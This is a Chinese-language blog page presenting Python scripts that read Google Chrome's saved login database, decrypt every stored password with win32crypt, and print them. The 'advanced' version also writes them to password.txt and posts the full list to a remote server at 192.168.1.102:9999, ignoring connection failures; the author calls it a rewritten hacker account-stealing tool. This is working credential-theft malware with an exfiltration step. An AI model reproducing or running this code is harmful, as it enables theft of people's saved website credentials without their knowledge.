100字范文,内容丰富有趣,生活中的好帮手!
100字范文 > Python获取所有谷歌浏览器上保存的密码

Python获取所有谷歌浏览器上保存的密码

时间:2021-09-10 19:40:00

相关推荐

Python获取所有谷歌浏览器上保存的密码

使用谷歌浏览器都知道,非常人性化的一方面就是记住我们在某些网站登录的账号和密码,并且自动填写,那么我们将利用py获取谷歌浏览器上保存的所有账号和密码,对于此程序原身为黑客盗号软件,经过我的改写,它将不会这么邪恶。

简易版代码

# -*- coding: utf-8 -*-# Software : IDLE# version:Python 3.6.6import osimport shutilimport sqlite3import win32cryptdb_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data')tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')print(tmp_file)if os.path.exists(tmp_file):os.remove(tmp_file)shutil.copyfile(db_file_path, tmp_file)conn = sqlite3.connect(tmp_file)for row in conn.execute('select signon_realm,username_value,password_value from logins'):ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)print('网站:%-50s,用户名:%-20s,密码:%s' % (row[0][:50], row[1], ret[1].decode('gbk')))conn.close()os.remove(tmp_file)

完整进阶版代码

# -*- coding: utf-8 -*-# Software : IDLE# version:Python 3.6.6import osimport shutilimport sqlite3import win32cryptimport jsonimport requestsAPP_DATA_PATH = os.environ["LOCALAPPDATA"]DB_PATH = r'Google\Chrome\User Data\Default\Login Data'class ChromePassword:def __init__(self):self.passwordsList = []def get_chrome_db(self):_full_path = os.path.join(APP_DATA_PATH, DB_PATH)_tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')if os.path.exists(_tmp_file):os.remove(_tmp_file)shutil.copyfile(_full_path, _tmp_file)self.show_passwords(_tmp_file)def show_passwords(self, db_file):conn = sqlite3.connect(db_file)_sql = '''select signon_realm,username_value,password_value from logins'''for row in conn.execute(_sql):ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)# 密码解析后得到的是字节码,需要进行解码操作_info = 'url: %-40s username: %-20s password: %s\n' % \(row[0][:50], row[1], ret[1].decode())self.passwordsList.append(_info)conn.close()os.remove(db_file)def save_passwords(self):with open('password.txt', 'w', encoding='utf-8') as f:f.writelines(self.passwordsList)def transfer_passwords(self):try:# 此处填写远端Flask对应的IP:PORTrequests.post('http://192.168.1.102:9999/index',data=json.dumps(self.passwordsList))except requests.exceptions.ConnectionError:passif __name__ == '__main__':Main = ChromePassword()Main.get_chrome_db()Main.save_passwords()Main.transfer_passwords()

运行显示

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。